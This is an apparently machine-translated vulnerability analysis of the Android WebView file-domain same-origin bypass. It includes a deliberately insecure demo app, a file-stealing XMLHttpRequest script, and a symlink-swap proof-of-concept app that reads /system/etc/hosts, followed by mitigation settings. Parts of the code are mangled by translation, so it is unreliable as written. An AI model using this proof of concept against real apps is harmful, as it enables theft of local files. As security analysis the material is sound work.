Analysis on the same-origin Policy Bypass Vulnerability in the File field of Android WebView
0x00
First, let's talk about the role of the webView method:
webView.getSettings().setAllowFileAccessFromFileURLs(false);
To illustrate this method, let's look at a practical example. For the Code address, refer to https://github.com/jltxgcy/appvulnerability/tree/master/webviewfiledemo.
The Code is as follows, which is different from the Android webviewremote code execution.
public class MainActivity extends Activity {private WebView webView;private Uri mUri;private String url;String mUrl1 = "file:///android_asset/html/attack_file.html";//String mUrl2 = "file:///android_asset/html/test.html";@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);webView = (WebView) findViewById(R.id.webview);webView.getSettings().setJavaScriptEnabled(true);webView.addJavascriptInterface(new JSInterface(), "jsInterface");webView.getSettings().setAllowFileAccessFromFileURLs(true);webView.setWebChromeClient(new WebChromeClient() {@Override public boolean onJsAlert(WebView view, String url, String message,JsResult result) { //Required functionality here return super.onJsAlert(view, url, message, result);}});webView.loadUrl(mUrl1);} class JSInterface { public String onButtonClick(String text) { final String str = text; runOnUiThread(new Runnable() { @Override public void run() { Log.e("leehong2", "onButtonClick: text = " + str); Toast.makeText(getApplicationContext(), "onButtonClick: text = " + str, Toast.LENGTH_LONG).show(); } }); return "This text is returned from Java layer. js text = " + text; } public void onImageClick(String url, int width, int height) { final String str = "onImageClick: text = " + url + " width = " + width + " height = " + height; Log.i("leehong2", str); runOnUiThread(new Runnable() { @Override public void run() { Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show(); } }); } }}
Here, webView. getSettings (). setAllowFileAccessFromFileURLs (true) indicates that the file can be accessed through javaScript.
Let's look at the code of attack_file.html:
<Script> function stealFile () {var file = "file: // mnt/sdcard/11.txt"; var xmlHttpReq = new XMLHttpRequest (); xmlHttpReq. onreadystatechange = function () {if (xmlHttpReq. readyState = 4) {alert (xmlHttpReq. responseText) ;}} xmlHttpReq. open ("GET", file); xmlHttpReq. send (null) ;}stealfile (); </script> because setAllowFileAccessFromFileURLs is true, webView. load this html can return the value of/mnt/sdcard/11.txt.
If setAllowFileAccessFromFileURLs is false, the value of/mnt/sdcard/11.txt cannot be returned for the html file webView. load.
0x01
Even if setAllowFileAccessFromFileURLs is false, we can bypass this restriction in one way, that is, the Android WebView File domain same-origin Policy Bypass Vulnerability Analysis. For details, refer to WebView File domain same-origin Policy Bypass Vulnerability Analysis.
The referenced articles do not provide projects that can be run. Here, the following explanations are provided from these two projects.
Run WebViewFileDemo1 first, and then AttackWebView to attack WebView.
First, let's take a look at WebViewFileDemo1. The main code is as follows:
package com.example.webviewfiledemo;import android.app.Activity;import android.content.Intent;import android.net.Uri;import android.os.Bundle;import android.util.Log;import android.webkit.JsResult;import android.webkit.WebChromeClient;import android.webkit.WebView;import android.widget.Toast;public class MainActivity extends Activity {private WebView webView;private Uri mUri;private String url;@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);webView = (WebView) findViewById(R.id.webview);webView.getSettings().setJavaScriptEnabled(true);webView.addJavascriptInterface(new JSInterface(), "jsInterface");webView.getSettings().setAllowFileAccessFromFileURLs(false);//webView.getSettings().setAllowFileAccess(false);webView.setWebChromeClient(new WebChromeClient() {@Override public boolean onJsAlert(WebView view, String url, String message,JsResult result) { //Required functionality here return super.onJsAlert(view, url, message, result);}});Intent i = getIntent();if (i != null) {mUri = i.getData();}if (mUri != null) {url = mUri.toString();}if (url != null) {webView.loadUrl(url);}}}
This Activity receives external Intent, extracts the url in the Intent and loads it.
Next let's take a look at the AttackWebView project. Here is the project that sends Intent to com. example. webviewfiledemo. MainActivity. The Code is as follows:
public class MainActivity extends Activity {public final static String HTML = "
"+"
Wait a few seconds."+" <Script> "+" var d = document; "+" function doitjs () {"+" var xhr = new XMLHttpRequest; "+" xhr. onload = function () {"+" var txt = xhr. responseText; "+" d. body. appendChild (d. createTextNode (txt); "+" alert (txt); "+"}; "+" xhr. open ('get', d. URL); "+" xhr. send (null); "+"} "+" setTimeout (doitjs, 8000); "+" </script> "+" "; public static String MY_TMP_DIR; @ Override protected void onCreate (Bundle savedInstanceS Tate) {super. onCreate (savedInstanceState); setContentView (R. layout. activity_main); MY_TMP_DIR = getDir ("payload_odex", MODE_PRIVATE ). getAbsolutePath (); doit ();} public void doit () {String HTML_PATH = MY_TMP_DIR + "/A0" + ". html "; try {cmdexec (" mkdir "+ MY_TMP_DIR); cmdexec (" echo \ "" + HTML + "\"> "+ HTML_PATH ); cmdexec ("chmod-R 777" + MY_TMP_DIR); Thread. sleep (1000); invokeVulnAPP ("file :/ /"+ HTML_PATH); Thread. sleep (6000); cmdexec ("rm" + HTML_PATH); cmdexec ("ln-s" + "/system/etc/hosts" + "" + HTML_PATH );} catch (Exception e) {// TODO: handle exception} public void invokeVulnAPP (String url) {try {Intent intent = new Intent (Intent. ACTION_MAIN, Uri. parse (url); intent. addCategory (Intent. CATEGORY_LAUNCHER); intent. setClassName ("com. example. webviewfiledemo "," com. example. web Viewfiledemo. mainActivity "); startActivity (intent);} catch (Exception e) {// TODO: handle exception} public void cmdexec (String cmd) {try {String [] tmp = new String [] {"/system/bin/sh", "-c", cmd}; runtime.getruntime(cmd.exe c (tmp );} catch (Exception e) {// TODO: handle exception} opened com. example. webviewfiledemo. mainActivity and the Intent is passed. This Activity extracts the Url. The Url is/sdcard/payload_odex/A0.html. webView loads This html. The html content is as follows:
public final static String HTML = "
"+"
Wait a few seconds."+" <Script> "+" var d = document; "+" function doitjs () {"+" var xhr = new XMLHttpRequest; "+" xhr. onload = function () {"+" var txt = xhr. responseText; "+" d. body. appendChild (d. createTextNode (txt); "+" alert (txt); "+"}; "+" xhr. open ('get', d. URL); "+" xhr. send (null); "+"} "+" setTimeout (doitjs, 8000); "+" </script> "+" "; When webviewfiledemo1project uses webview a0.html, the latency is 8 seconds to read a0.html itself. Let's go back to the AttackWebView project and look at the code.
cmdexec("mkdir " + MY_TMP_DIR);cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);cmdexec("chmod -R 777 " + MY_TMP_DIR);Thread.sleep(1000);invokeVulnAPP("file://" + HTML_PATH);Thread.sleep(6000);cmdexec("rm " + HTML_PATH);cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);
After calling invokevulnapp, we first Delete a0.html 6 seconds later, and then reconnect to/system/etc/hosts. When webviewfiledemo1project uses webview1_a0.html, This html feature is a delay of 8 seconds for reading a0.html itself, so after 8 seconds, it reads the soft connection/system/etc/hosts.
The result is as follows:
0x02
How can this problem be avoided?
1. webView. getSettings. setAllowFileAccess (false );
If the above Code is added to the onCreate method of com. example. webviewfiledemo. MainActivity in the WebViewFileDemo1 project, the running result is as follows:
2. webView. getSettings. setJavaScriptEnabled (false );